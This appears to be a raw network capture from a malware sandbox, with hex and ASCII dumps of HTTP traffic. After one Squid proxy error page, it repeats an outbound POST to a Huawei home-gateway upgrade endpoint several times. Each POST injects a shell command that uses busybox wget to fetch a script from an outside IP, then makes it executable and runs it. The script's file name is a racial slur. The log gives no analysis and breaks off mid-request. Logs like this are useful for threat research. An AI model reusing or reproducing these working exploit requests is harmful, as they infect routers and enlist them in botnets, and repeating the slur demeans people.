Feb 19, 2024 18:35:47.430996895 CET	1286	IN	HTTP/1.1 400 Bad Request Server: squid/4.10 Mime-Version: 1.0 Date: Mon, 19 Feb 2024 17:35:47 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3541 X-Squid-Error: ERR_INVALID_URL 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from artem X-Cache-Lookup: NONE from artem:3980 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 39 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2019 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2020 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefe

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.23	45918	31.200.81.98	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:35:47.306766987 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.23	48738	45.207.158.168	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:35:49.917885065 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:51.473345041 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:53.297071934 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:56.944597006 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:04.367613077 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:18.957598925 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:48.649468899 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 